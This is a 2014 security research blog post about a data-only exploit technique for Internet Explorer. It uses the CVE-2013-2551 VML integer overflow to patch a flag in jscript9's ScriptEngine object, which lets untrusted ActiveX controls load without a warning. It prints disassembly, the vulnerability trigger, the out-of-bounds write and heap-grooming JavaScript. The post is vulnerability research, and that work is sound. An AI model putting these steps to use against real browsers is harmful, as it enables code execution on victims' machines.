Subverting without EIP

by Daniel Moghimi


Posted on May 08, 2014 at 11:37 AM


This post is recovered from my old website/blog: mallocat.com

Few months ago, I did some research about a vulnerability in Internet Explorer (IE) browser. I have always thought that it would be possible to exploit other primitives in web browsers, As a result I came up with this write-up which discusses a different exploitation method in Internet Explorer. As an example, I exploited (CVE-2013-2551 / MS13-037) by this innovative method. The issue is reported to Microsoft, and I postponed my disclosure.

Abstract

Various protections have been added to the Windows operating system (OS) to defend against software exploitation. These protections are based on restricting the  attacker to gain control over the EIP register and to execute binary shellcode. The cat and mouse game between vendors to implement better protections and the hacker community to bypass them is a long (cliche) story. The offensive security community have tried to invent new methods to gain control over EIP by bypassing protections such as Stack cookie, Safe SEH, VTable guard, and to facilitate shellcode executing by bypassing protections such as ASLR, DEP. In this article, I am going to leave EIP alone and forget about running shellcode to gain code execution. Instead, we can exploit better primitives to even gain code execution without direct control over the EIP register.

Introduction

Applications have some features that are not enabled by default because of security considerations and testing, or there exists  undocumented behavior in the software that is unknown to normal users. Most of the time, when a user wants to access such features, a warning pops up indicating possible harms or instability in the system. One have to enable those features manually through some specific configurations. Here are some examples of such warnings in well-known client side applications:

  • Java script Geolocation API: (Is it possible to disable this warning and steal Geolocation data?!)

    111
  • Adobe Action script 3 Camera & Sound API: (Is it possible to disable this warning and record microphone and camera without user permission?!)

    111
  • Microsoft Internet explorer ActiveX controls: (Is it possible to load harmful ActiveX controls and execute malicious code?)

    111

Further some developer features exist that would not throw  warning, but they are not accessible in the default configuration. For example:

  • Firefox XPCOM interface (Only accessible through chrome privileged mode)

  • Google chrome Extension Javascript API

The generic idea is to patch such restrictions in the memory with the help of  a memory corruption vulnerability. This would let attackers perform harmful things and steal sensitive information.

ActiveX

Internet explorer does not support the default plugin interface implemented by other browsers, and it is not possible to enumerate supported plugins by the Javascript object navigator.plugin:

>> navigator.plugins.length

0

IE supports the old ActiveX COM interface to extend browser features. ActiveX has introduced many security issue in earlier versions of IE, but nowadays it is only possible to run some trusted ActiveX through the JavaScript interface. As a result, the browser warns the user if a web page tries to load Untrusted ActiveX controls. A list of trusted ActiveX controls that run without permission can be obtained in Manage Add-ons window:

111

For better understating of the ActiveX architecture and its security, you can review the Black hat 2008 paper from Alexander Sotirov and Mark Dowd talk.

One-byte patch security bypass

What would happen if we try to load other ActiveX objects not listed as trusted through ActiveX Object function?

var x = new ActiveXObject('Wscript.Shell');
The function ScriptSite::CreateActiveXObject in jscript9.dll is responsible to handle this Javascript function, and it calls ScriptSite::CreateObjectFromProgID to create the object from its ProgId:
.text:10131A32 mov byte ptr [ebp-4], 1
          .text:10131A36 mov esi, [ebp+8]
          .text:10131A39 push eax
          .text:10131A3A push dword ptr [ebp+10h]
          .text:10131A3D mov edx, esi
          .text:10131A3F call ScriptSite::CreateObjectFromProgID(ushort const *,ushort const *,IUnknown * *)
          .text:10131A44 mov byte ptr [ebp-4], 0
If ScriptSite::CreateObjectFromProgID succeed, we will get a handle to the ActiveX object, and if the function does not succeed we will reach the following code path that in case of improper permission, it will warn the user for harmful ActiveX control:
.text:1010B069 loc_1010B069:
          .text:1010B069 mov edi, ebx
          .text:1010B06B call Js::JavascriptError::ThrowError(Js::ScriptContext *,long,ushort const *)
          .text:1010B070 int 3 ; Trap to Debugger
ScriptSite::CreateObjectFromProgID function calls CoGetClassObject to communicate with COM interface of the requested object in the following code:
.text:10131BB5 push eax ; dwClsContext
          .text:10131BB6 lea eax, [ebp+clsid]
          .text:10131BB9 push eax ; rclsid
          .text:10131BBA call CoGetClassObject(x,x,x,x,x)
          .text:10131BC0 test eax, eax
Before reaching this code, a call to ScriptEngine::CanCreateObject is performed:
.text:10131B8A lea eax, [ebp+clsid]
          .text:10131B8D push eax
          .text:10131B8E mov eax, [esi+4]
          .text:10131B91 call ScriptEngine::CanCreateObject(_GUID const &)
          .text:10131B96 test eax, eax
          .text:10131B98 jz loc_1010AFC7
ScriptEngine::CanCreateObject checks some configuration and security and it returns true or false weather it is possible to create that object. If we could force this function to always return true (Good trick to backdoor internet explorer via jscript9.dll), it is possible to load any ActiveX object in the browser without user's permission.

In the first lines of this function, some field at offset +1E4h of ScriptEngine class is checked:

.text:10131F75 public: int __thiscall ScriptEngine::CanCreateObject(struct _GUID const &) proc near
          .text:10131F75 var_8 = byte ptr -8
          .text:10131F75 var_4 = dword ptr -4
          .text:10131F75 arg_0 = dword ptr 8
          .text:10131F75
          .text:10131F75 mov edi, edi
          .text:10131F77 push ebp
          .text:10131F78 mov ebp, esp
          .text:10131F7A push ecx
          .text:10131F7B push ecx
          .text:10131F7C push edi
          .text:10131F7D mov edi, eax
          .text:10131F7F test byte ptr [edi+1E4h], 8
          .text:10131F86 jz short loc_10131FC5
And if we could have control on this value, it would be possible to force the function to return true without any further security check:
.text:10131FC5 xor eax, eax
          .text:10131FC7 inc eax
          .text:10131FC8 jmp short loc_10131FC0

Attack Demonstration: CVE-2013-2551

To Sum it up untill here, if we are able to null the one-byte value at offset +1E4 of ScriptEngine object before reaching this code by a 1-byte write primitive gained from some vulnerability, we can load untrusted ActiveX Controls without restrictions. This is powerful enough to execute malicious code without challenging memory protections.

CVE-2013-2551 is an integer overflow vulnerability in VML rendering engine demonstrated by Nicolas July of VUPEN at Pwn2Own 2013 hacking contest. The vulnerability can be triggered by the following code:

<v:oval><v:stroke id=x1 dashstyle="0 1"/></v:oval>
          <script>
          x1 = document.getElementById("x1");
          x1.dashstyle.array.length = -1;
          </script>
This doesn’t crash the browser but the negative value will be downsized to 0xffff and would be set as length of some array structure. So after that it is possible to write past the array buffer by the help of item property of a dashstyle array:
x1.dashstyle.array.item(0xffff) = 0x41414141;
And this write4 condition is enough to exploit ScriptEngine object. For this purpose we should position this Array object and ScriptEngine object in the proper memory location. The ScriptEngine object constructor can be found at CJScript9ClassFactory::AllocateEngine:
.text:10086417 push eax
          .text:10086418 mov eax, [ebp+arg_0]
          .text:1008641B push esi
          .text:1008641C call ScriptEngine::ScriptEngine(_GUID const &,ushort const *)
And before a call to the constructor, there is an allocation of size = 0x210 for this object:
.text:100863FB push 210h ; Size
          .text:10086400 mov ecx, offset HeapAllocator HeapAllocator::Instance
          .text:10086405 call HeapAllocator::NoThrowAlloc(uint)
          .text:1008640A mov esi, eax
The function HeapAllocator::NoThrowAlloc uses malloc function:
.text:10001350 ; int __stdcall HeapAllocator__NoThrowAlloc(size_t Size)
          .text:10001350 Size = dword ptr 8
          .text:10001350
          .text:10001350 mov edi, edi
          .text:10001352 push ebp
          .text:10001353 mov ebp, esp
          .text:10001355 push [ebp+Size] ; Size
          .text:10001358 call ds:__imp__malloc
So this object is allocated by CRT_HEAP. By loading a new page a new script context can be created so a new ScriptEngine instance. But we cannot find address of current ScriptEngine object without any memory leakage. Although the mentioned vulnerability allow memory leakage as demonstrated but it is possible to exploit this vulnerability in a simpler way.

When we reset the size of DashStyle array length the vgx!COALineDashStyleArray::put_length function call MsoIAppendPx and this function calculate and allocate the new memory for the array in the following chunk of code:

.text:10075F0F shr ecx, 10h
          .text:10075F12 and ecx, 7FFFh
          .text:10075F18 add ecx, esi
          .text:10075F1A mov esi, ecx
          .text:10075F1C imul esi, edx
          .text:10075F1F xor edx, edx
          .text:10075F21 mov eax, esi
          .text:10075F23 div [ebp+arg_0]
          .text:10075F26 cmp eax, ecx
          .text:10075F28 jnz short loc_10075F37
          .text:10075F2A push esi ; Size
          .text:10075F2B lea esi, [edi+0Ch]
          .text:10075F2E call MsoFAllocMemCore(x,x,x)
Vgx!MsoFAllocMemCore uses the same malloc and CRT_HEAP for this allocation:
.text:10039ADA mov ebp, esp
          .text:10039ADC push [ebp+Size] ; Size
          .text:10039ADF call ds:__imp__malloc
          .text:10039AE5 pop ecx
It is possible to allocate same size 0x210 DashStyle array object by just setting its length value to proper value of 0x80:
var strokes = []
          for(var i = 0; i < 200; i++)
            strokes.push(document.getElementById("x"+i.toString()));
          for(var i = 0; i < 200; i++)
            strokes[i].dashstyle.array.length = 0x80;
Then it's time to allocate a new ScriptEngine Object:
document.getElementById("f1").src = "js.htm";
loading a new page which contains JavaScript in an iframe force the browser to instantiate a new ScriptEngine Object and the heap layout would be like this:
111

This heap layout give us the ability to patch the magic field and load arbitrary ActiveX Control.

check the video:

[removed link]

and source code [removed link] for the proof of concept.

Summary

  1. This method is more reliable than classical code execution since it does not depend on on Operating system version and protections. By only patching the proper value in memory, one can get a reliable code execution which is not based on binary shellcode.
  2. Less suspicious than other methods, and intrusion prevention systems which are based on shellcode detection can not detect it.

  3. It requires the proper bug to give write condition, and/or we should leak the memory to find the  favorite script object to patch.

  4. It may be possible to implement similar methods on the other mentioned primitives.